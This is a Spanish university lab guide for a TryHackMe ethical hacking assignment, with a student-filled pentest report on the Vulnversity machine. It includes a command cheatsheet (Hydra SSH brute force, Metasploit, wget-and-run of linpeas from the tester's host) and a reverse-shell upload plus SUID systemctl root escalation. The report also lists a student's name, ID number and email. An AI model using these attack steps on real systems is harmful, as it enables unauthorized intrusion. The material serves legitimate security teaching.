Guía Práctica + Plantilla de Informe

Actividad A08 — Hacking Ético

Cliente: **INSECUR S.A.** — Laboratorio: TryHackMe

Seguridad Aplicada a Sistemas de Información
Licenciatura en Sistemas de Información — Facultad de Informática y Diseño
Docente: Ing.
Rodrigo Atilio Elgueta

Ciclo Académico Vigente

Índice

1. Contexto de la Contratación **2**

2. Modelo de Trabajo: Núcleo + Sala de Elección **2**
2.1. Nivel 1 — Núcleo obligatorio (todos los estudiantes) . . . 2
2.2. Nivel 2 — Sala de elección (una por estudiante) . . . 2

3. Configuración del Entorno **3**
3.1. Requisitos previos . . . 3
3.2. Conexión a la VPN de TryHackMe . . . 3
3.3. Organización del trabajo en GitHub . . . 3

4. Mecanismos de Control de Autenticidad **4**

5. PARTE I: GUÍA DE TRABAJO EN TRYHACKME **5**
5.1. Flujo profesional del pentesting . . . 5
5.2. Comandos base por fase (cheatsheet) . . . 5
5.3. Checklist de resolución . . . 6

6. PARTE II: PLANTILLA DE INFORME (rellenable) **6**
6.1. Datos generales . . . 7
6.2. Pre-pentesting . . . 7
6.3. Durante: Hallazgos por fase . . . 8
6.4. Resumen ejecutivo de hallazgos . . . 10
6.5. Post-pentesting: Recomendaciones . . . 10

7. PARTE III: PROTOCOLO DE CONTINGENCIA **11**

8. Anexos **11**

9. Rúbrica de Evaluación (A08) **12**

10. Fuentes y bibliografía **12**

1. Contexto de la Contratación

Carta de Autorización — INSECUR S.A.

Cliente: INSECUR S.A.
Contratista: Estudiante de Seguridad Aplicada a Sistemas de Información (FID-UCH).

Objeto del contrato: La compañía INSECUR S.A., preocupada por los niveles de seguridad de sus sistemas, contrata sus servicios profesionales de **Hacking Ético** para elaborar un plan de seguridad y contingencia.

Alcance autorizado: Únicamente los entornos de laboratorio de la plataforma **TryHackMe** asignados en esta guía. Cualquier acción fuera de este alcance queda estrictamente prohibida y constituye un delito conforme la legislación vigente.

Entregable: Informe profesional de pentesting, incluyendo documentación previa, durante y posterior a la intervención, más un protocolo de contingencia para garantizar la continuidad de negocio.

Modalidad: Individual.
Modalidad: Individual.
Repositorio de entrega: `https://github.com/UCHSeguridad2026/TP_THM.git` (crear un branch propio con el apellido-nombre).

Ética y Legalidad

Esta actividad se desarrolla en **entornos controlados (sandbox)**. Queda absolutamente prohibido aplicar las técnicas aprendidas contra sistemas reales sin autorización escrita. El incumplimiento será considerado falta ética grave y podrá derivar en sanciones académicas y legales.

2. Modelo de Trabajo: Núcleo + Sala de Elección

La actividad se estructura en dos niveles que garantizan una base común y, al mismo tiempo, diversidad en los casos trabajados.

2.1. Nivel 1 — Núcleo obligatorio (todos los estudiantes)

Núcleo Obligatorio

1. **Pentesting Fundamentals**
   `https://tryhackme.com/room/pentestingfundamentals`
   Metodología y fases del pentesting profesional.

2. **Basic Pentesting**
   `https://tryhackme.com/room/basicpentestingjt`
   Aplicación práctica completa: enumeración, explotación y escalada de privilegios.

2.2. Nivel 2 — Sala de elección (una por estudiante)

Cada estudiante elige **UNA** sala adicional de la siguiente lista curada de salas **gratuitas**. La elección debe quedar registrada en el informe (Sección 6.2).

Sala	Dificultad	Enfoque	Qué aporta
Vulnversity	Inicial	Web + explotación	Ideal como primera máquina
Kenobi	Inicial-Media	Samba + Linux PE	Enumeración y escalada
RootMe	Media	Web + PE	Multi-vulnerabilidad
OWASP Top 10	Media	Vulnerabilidades web	Complementa Juice Shop
Blue	Media	Windows PE (EternalBlue)	Entorno Windows
Overpass	Media	Web + Linux PE	Lógica de negocio
Nmap	Herramienta	Escaneo	Dominio de Nmap

¿Cómo elegir?

- Si es tu primera vez con TryHackMe: **Vulnversity**.
- Si querés enfocarte en Windows: **Blue**.
- Si te interesa el hacking web: **OWASP Top 10**.
- Si querés desafío Linux completo: **Kenobi** o **RootMe**.

3. Configuración del Entorno

3.1. Requisitos previos

1. Cuenta gratuita en `https://tryhackme.com` (username único del estudiante).
2. Kali Linux (VM, Live USB o WSL2) con las herramientas básicas: `nmap`, `gobuster`, `hydra`, `burpsuite`, `metasploit`, `wireshark`, `netcat`.
3. Cliente OpenVPN instalado (para la VPN de THM).
4. Cuenta de GitHub con acceso al repositorio de la cátedra.

3.2. Conexión a la VPN de TryHackMe

```
# 1. Descargar el archivo de configuracion desde THM (Account > Access)
# 2. Conectarse a la VPN
sudo openvpn --config ~/Downloads/<tu-usuario>.ovpn
```

Verificación de conectividad

Una vez conectado, probá con `ping` a la IP de la máquina objetivo que te asigna THM. Si no responde, revisá el estado de la VPN y la red de la facultad (algunas instituciones bloquean el puerto 1194/UDP).

3.3. Organización del trabajo en GitHub

```
# Clonar el repositorio de la catedra
git clone https://github.com/UCHSeguridad2026/TP_THM.git
cd TP_THM

# Crear tu branch personal (usar tu ApellidoNombre)
git checkout -b apellido-nombre

# Crear la estructura de carpetas
mkdir -p evidencias/{reconocimiento,escaneo,explotacion,post}
mkdir -p bitacora
mkdir -p reportes
```

4. Mecanismos de Control de Autenticidad

Para garantizar la autoría del trabajo, debés cumplir con los siguientes mecanismos:

Username único de TryHackMe

En la portada del informe debe figurar tu **username público de THM**. Este username es único y se ve en todas las capturas de la plataforma, por lo que vincula inequívocamente las evidencias con vos.

Bitácora de comandos

Exportá únicamente los comandos relevantes de tu sesión de Kali al finalizar cada clase. Revisá el archivo y eliminá contraseñas, tokens, claves privadas y cualquier dato personal antes de subirlo:

```
history | sed -E 's/(password|passwd|token|secret|api[_-]?key)[^
    ]*/\1=[REDACTED]/Ig' > bitacora/clase_09_$(date +%Y%m%d).txt
```

Este archivo forma parte de los anexos del informe y demuestra el proceso real. La bitácora no reemplaza la revisión manual de secretos.

Evidencias con marca de identidad

Cada captura de pantalla crítica debe incluir visible:

- El username de THM en la interfaz de la plataforma.
- La fecha y hora del sistema (visible en la barra de Kali).
- La IP de la máquina objetivo.

Hash de las flags

En lugar de publicar las flags completas (que circulan en writeups), incluí en el informe el **hash SHA-256** de cada flag obtenida. Así el docente puede verificar que la tenés sin que quede expuesta.

```
echo -n "thm{flag_obtenida}" | sha256sum
```

Commits firmados

Usá commits con tu identidad institucional, configurada solo en este repositorio:

```
git config user.name "Tu Nombre Completo"
git config user.email "tu.email@institucion.edu"
```

5. PARTE I: GUÍA DE TRABAJO EN TRYHACKME

5.1. Flujo profesional del pentesting

Todo pentesting sigue las fases del marco metodológico. Cada fase tiene herramientas típicas y entregables:

Fase	Acciones típicas	Herramientas
Pre-engagement	Definir alcance, reglas de enfrentamiento, autorización	Plantilla, firma de ROE
Reconocimiento	OSINT, enumeración pasiva, descubrimiento de activos	theHarvester, whois, DNSdumpster
Escaneo	Descubrimiento de puertos, servicios y versiones	Nmap, Nikto, Gobuster
Enumeración	Análisis detallado de cada servicio encontrado	Netcat, enum4linux, SNMPwalk
Explotación	Aprovechar vulnerabilidades para obtener acceso	Metasploit, Searchsploit, Burp Suite
Post-explotación	Escalada de privilegios, movimiento lateral, persistencia	LinPEAS, WinPEAS, mimikatz
Reporte	Documentación, remediación, protocolo de contingencia	Plantilla de informe

5.2. Comandos base por fase (cheatsheet)

```
# RECONOCIMIENTO Y ESCANEO
nmap -sC -sV -oN bitacora/nmap_inicial.txt <IP_OBJETIVO>
nmap -p- --min-rate 5000 -oN bitacora/nmap_puertos.txt <IP_OBJETIVO>

# ENUMERACION WEB
gobuster dir -u http://<IP_OBJETIVO> -w /usr/share/wordlists/dirb/common.
    txt \
  -o bitacora/gobuster.txt
nikto -h http://<IP_OBJETIVO> -o bitacora/nikto.txt

# ANALISIS DE TRAFICO
wireshark  # GUI
tcpdump -i tun0 -w bitacora/captura_$(date +%H%M).pcap

# AUTENTICACION (solo si la sala lo autoriza y con limites)
```

```
# Preferi validar primero usuarios y politicas; documenta el alcance.
hydra -l usuario -P /usr/share/wordlists/rockyou.txt <IP> ssh -t 4 -f

# EXPLOTACION CON METASPLOIT (solo contra la IP asignada por THM)
msfconsole
search <servicio>
use <exploit>
set RHOSTS <IP>
set LHOST tun0
exploit

# POST-EXPLOTACION LINUX (solo si la sala lo requiere)
wget http://<tu-IP>:8000/linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh > bitacora/linpeas.txt
```

5.3. Checklist de resolución

Para cada máquina, recorrela en este orden:

1. **Ping** a la IP objetivo (confirmar que está viva).
2. **Nmap** completo (todos los puertos + detección de servicios y versiones).
3. **Nikto** + **Gobuster** si hay web.
4. Anotar en la bitácora cada puerto, servicio y versión.
5. Buscar vulnerabilidades públicas para cada versión detectada (`searchsploit`, Google, CVE Details).
6. Probar exploits en orden de criticidad.
7. Al obtener shell, ejecutar `whoami`, `uname -a`, `sudo -l`.
8. Escalar privilegios (LinPEAS / WinPEAS).
9. Documentar cada hallazgo con captura + comando + evidencia.

6. PARTE II: PLANTILLA DE INFORME (rellenable)

Completá cada campo. Las celdas vacías se rellenan con texto o se dejan en blanco si no aplica. El informe completo se entrega como ***`reportes/informe_pentesting.pdf`*** *en tu branch.*

6.1. Datos generales

Campo	Valor
Cliente	INSECUR S.A.
Contratista (alumno/a)	Gonzalo Pizarro
DNI	43749189
Username TryHackMe	gonzalopizarro44
Email institucional	pizarrogonzalo@uch.edu.ar
Sala de elección (Nivel 2)	Vulnversity
Branch en GitHub	`pizarro-gonzalo`
Fecha de inicio	8/10/2026
Fecha de cierre	16/10/2026

6.2. Pre-pentesting

Alcance del trabajo

Describí qué sistemas están dentro del alcance y cuáles quedan excluidos. El alcance del presente trabajo abarca exclusivamente la máquina virtual Vulnversity provista por la plataforma TryHackMe, dentro de la red VPN asignada por la cátedra (rangos 10.64.0.0/12 y 10.66.0.0/12). Quedan excluidos cualquier otro sistema, red o servicio ajeno al entorno de laboratorio de TryHackMe, incluyendo la infraestructura propia del alumno.

Reglas de Enfrentamiento (ROE)

Indicá las restricciones técnicas acordadas: horarios, técnicas prohibidas, límites de tráfico, notificación ante incidentes. El trabajo se realizó dentro del horario de cursada asignado por la cátedra, utilizando únicamente las herramientas provistas en el entorno Kali/AttackBox. No se emplearon técnicas de denegación de servicio (DoS) ni ataques que pudieran afectar la disponibilidad de la plataforma TryHackMe para otros usuarios. Cualquier incidente debía notificarse de inmediato al docente a cargo.

Autorización

Declará que contás con autorización expresa de la cátedra para trabajar sobre los entornos de TryHackMe indicados. Declaro contar con autorización expresa de la cátedra de Seguridad Informática (UCH) para realizar las pruebas de penetración descritas en este informe sobre los entornos de TryHackMe indicados, en el marco del trabajo práctico asignado.

Metodología utilizada

Indicá qué marco seguiste (PTES, OSSTMM, OWASP Testing Guide, NIST SP 800-115, etc.) y justificá la elección. Se utilizó el marco PTES (Penetration Testing Execution Standard) por ser uno de los estándares más aplicados en pentesting de infraestructura web, cubriendo de forma clara las fases de reconocimiento, escaneo, explotación y post-explotación seguidas en este trabajo.

6.3. Durante: Hallazgos por fase

Para cada hallazgo relevante, completá una fila en la siguiente tabla (repetí la tabla si necesitás más filas).

Campo	**Valor**
ID del hallazgo	H-01
Fase	■ Explotación
Descripción	El formulario de carga de archivos ubicado en `/internal/` (endpoint `index.php`) bloqueaba la extensión `.php` pero no validaba correctamente extensiones alternativas interpretadas por Apache como PHP (`.phtml`). Esto permitió subir una reverse shell en PHP disfrazada con extensión `.phtml` y ejecutarla accediendo a su URL pública, obteniendo ejecución remota de código con el usuario `www-data`.
Componente afectado	Formulario de carga de archivos — Apache httpd 2.4.41 / PHP (directorio `/internal/uploads/`)
Categoría (OWASP / CWE)	CWE-434: Unrestricted Upload of File with Dangerous Type / OWASP A04:2021 - Insecure Design
CVE (si aplica)	No aplica (falla de configuración, no vulnerabilidad de producto)
CVSS estimado	■ Alto
Evidencia (captura / comando)	

	`gobuster dir -u http://<IP>:3333 -w common.txt` → directorio `/internal/` encontrado. `curl -F "file=@shell.phtml"http://<IP>:3333/internal/index.php` → respuesta `Success`. `curl http://<IP>:3333/internal/uploads/shell.phtml` → conexión reversa recibida en listener `nc -lvnp 1234` con `uid=33(www-data)`. Ver `bitacora/explotacion_vulnversity.txt` y capturas en `evidencias/explotacion/`.
Herramienta utilizada	Gobuster, curl, Netcat, PHP reverse shell (pentestmonkey)
Impacto en la Tríada CIA	■ Confidencialidad ■ Integridad ■ Disponibilidad
Salvaguarda propuesta	Validar el tipo de archivo subido por contenido real (magic bytes/MIME) y no solo por extensión. Mantener una lista blanca estricta de extensiones permitidas. Servir el directorio de uploads sin permisos de ejecución (`php_admin_flag engine off` o similar) y fuera del webroot ejecutable. Renombrar archivos subidos con nombres aleatorios no predecibles.
Riesgo residual tras aplicar	■ Bajo

Campo	**Valor**
ID del hallazgo	H-02
Fase	■ Post-explotación
Descripción	El binario `/bin/systemctl` tenía el bit SUID activado, algo que no es parte de una instalación estándar de Ubuntu. Dado que `systemctl` permite crear y habilitar unidades de servicio arbitrarias, se abusó de este permiso para registrar un servicio systemd malicioso cuyo `ExecStart` otorgaba el bit SUID a `/bin/bash`, permitiendo obtener una shell con privilegios de `root` desde el usuario `www-data`.
Componente afectado	`/bin/systemctl` (permisos del sistema de archivos)

Categoría (OWASP / CWE)	CWE-269: Improper Privilege Management
CVE (si aplica)	No aplica (error de configuración local, no vulnerabilidad de software)
CVSS estimado	■ Crítico
Evidencia (captura / comando)	`find / -perm -4000 -type f 2>/dev/null` → `/bin/systemctl` listado junto a binarios SUID legítimos. Creación de unidad maliciosa con `systemctl link` y `systemctl enable --now`. `ls -la /bin/bash` → permisos `-rwsr-sr-x`. `/bin/bash -p` → `whoami` devuelve `root`, `id` muestra `euid=0(root)`. Flag leída en `/root/root.txt`. Ver `bitacora/explotacion_vulnversity.txt`.
Herramienta utilizada	find, systemctl, bash
Impacto en la Tríada CIA	■ Confidencialidad ■ Integridad ■ Disponibilidad
Salvaguarda propuesta	Eliminar el bit SUID de `/bin/systemctl` (`chmod u-s /bin/systemctl`), ya que no lo requiere para su funcionamiento normal. Auditar periódicamente el sistema en busca de binarios SUID no estándar (`find / -perm -4000`). Aplicar el principio de mínimo privilegio en la configuración de permisos del sistema.
Riesgo residual tras aplicar	■ Bajo

6.4. Resumen ejecutivo de hallazgos

Severidad	**Cantidad**	**ID de hallazgos**
Crítico	1	H-02
Alto	1	H-01
Medio	0	—
Bajo	0	—
Total	2	H-01, H-02

6.5. Post-pentesting: Recomendaciones

Recomendaciones técnicas (parches y configuraciones)

Listá las acciones concretas de remediación, priorizadas por criticidad. 1. Validar el contenido real de los archivos subidos (magic bytes/MIME), no solo la extensión, y aplicar lista blanca estricta de tipos permitidos (prioridad: Alta, asociado a H-01).
2. Servir el directorio de uploads sin permisos de ejecución de scripts.
3. Eliminar el bit SUID de /bin/systemctl (chmod u-s /bin/systemctl), ya que no es necesario para su funcionamiento normal (prioridad: Crítica, asociado a H-02).
4. Auditar periódicamente el sistema en busca de binarios SUID no estándar.

Recomendaciones administrativas (políticas y procesos)

Políticas, capacitaciones, revisiones periódicas, etc. 1. Establecer una política de revisión periódica de permisos y binarios SUID en servidores productivos.
2. Capacitar al equipo de desarrollo en prácticas seguras de carga de archivos (OWASP Secure File Upload).
3. Incorporar pruebas de pentesting como parte del ciclo de despliegue antes de pasar a producción.

7. PARTE III: PROTOCOLO DE CONTINGENCIA

Escenario de falla

Describí qué procedimiento realizado podría fallar o causar una interrupción del servicio en producción. La aplicación del parche de validación de archivos subidos (H-01) en producción, sin un ambiente de pruebas previo, podría romper una integración legítima que dependa del endpoint de carga actual. Asimismo, la remoción del bit SUID de /bin/systemctl (H-02) podría afectar scripts de administración que dependan de ese permiso elevado para gestionar servicios sin sudo.

Impacto sobre la continuidad del negocio

¿Qué procesos de INSECUR S.A. se verían afectados? ¿Por cuánto tiempo? Se vería afectado el servicio web de carga de archivos de INSECUR S.A., interrumpiendo la disponibilidad del formulario de subida durante la ventana de aplicación del parche (estimado entre 15 y 30 minutos). Los procesos administrativos que dependan de systemctl con privilegios elevados podrían requerir ajuste manual tras el cambio de permisos.

Plan de respuesta

1. **Activación:** Se detecta mediante monitoreo del servicio web (caída de disponibilidad del endpoint de carga) o fallo reportado por usuarios administrativos al ejecutar comandos systemctl sin privilegios.
2. **Contención:** Revertir el cambio de configuración aplicado (restaurar permisos previos de systemctl o deshabilitar temporalmente la validación estricta de uploads) para restablecer el servicio mientras se analiza la causa.
3. **Recuperación:** Rollback a la configuración anterior mediante backup de los archivos de configuración del servidor web, tomado antes de aplicar el parche.
4. **Comunicación:** Se notifica al equipo de infraestructura de INSECUR S.A. y, de ser necesario, a los usuarios afectados sobre la interrupción temporal del servicio.
5. **Post-mortem:** Se documenta el incidente en la bitácora del equipo, detallando causa raíz, tiempo de resolución y ajustes al procedimiento de despliegue para futuras aplicaciones de parches.

RTO y RPO estimados

RTO (Recovery Time Objective): 30 minutos
RPO (Recovery Point Objective): 0 minutos (sin pérdida de datos, solo configuración)

8. Anexos

Anexo A — Bitácora de comandos

Adjuntar los archivos `bitacora/clase_XX_*.txt` en el branch.

Anexo B — Capturas de pantalla

Carpeta `evidencias/` con subcarpetas por fase. Cada archivo nombrado como: `<fase>_<hallazgoID>.png`.

Anexo C — Hashes de las flags obtenidas

```
# Formato: flag_id  sha256_hash
H-01  d324bd433001e5bdfe39e04d794539c15b51982a5bf6fc78efea46369b7bf956
H-02  cfbc740435ad60030304080e35131ffcaf8ac5f71b65e002f5b546aa3cda7ce8
```

Anexo D — Declaración ética firmada

Declaro que todas las actividades se realizaron dentro del alcance autorizado, en entornos controlados y con fines exclusivamente académicos.

Firma del estudiante	Fecha

9. Rúbrica de Evaluación (A08)

Criterio	Peso	Descripción
A. Recopilación de información	10 %	Uso de fuentes confiables y citadas correctamente.
B. Elaboración de documentos	25 %	Cumplimiento del formato de esta plantilla.
C. Elaboración de presentaciones	10 %	Argumentación sólida del caso y sus soluciones.
D. Integración de soluciones	25 %	Parches y medidas integradas sobresalientemente.
E. Selección de herramientas	20 %	Herramientas adecuadas y justificadas.
F. Consciencia de buenas prácticas	10 %	Evidencia permanente de buenas prácticas y ética.

Checklist final antes del push

- ☐ Informe en `reportes/informe_pentesting.pdf`.
- ☐ Evidencias en `evidencias/` (por fase).
- ☐ Bitácoras en `bitacora/`.
- ☐ Branch nombrado `apellido-nombre`.
- ☐ Commits con tu identidad real.
- ☐ Pull Request hacia `main` del repo de la cátedra.

10. Fuentes y bibliografía

- TryHackMe. *Pentesting Fundamentals*: sala oficial
- TryHackMe. *Basic Pentesting*: sala oficial
- OWASP Foundation. *Web Security Testing Guide (WSTG)*: sitio oficial
- NIST (2008). *Technical Guide to Information Security Testing and Assessment (SP 800-115).*
- Chicano Tejada, E. (2023). *Auditoría de seguridad informática. IFCT0109* (2.ª ed.). IC Editorial — eLibro.
- Evans, L. (2019). *Ethical Hacking: The Ultimate Guide to Using Penetration Testing....* Amazon Digital Services LLC — KDP.
- White, A. & Clark, B. (2017). *BTFM: Blue Team Field Manual.* CreateSpace Independent Publishing Platform.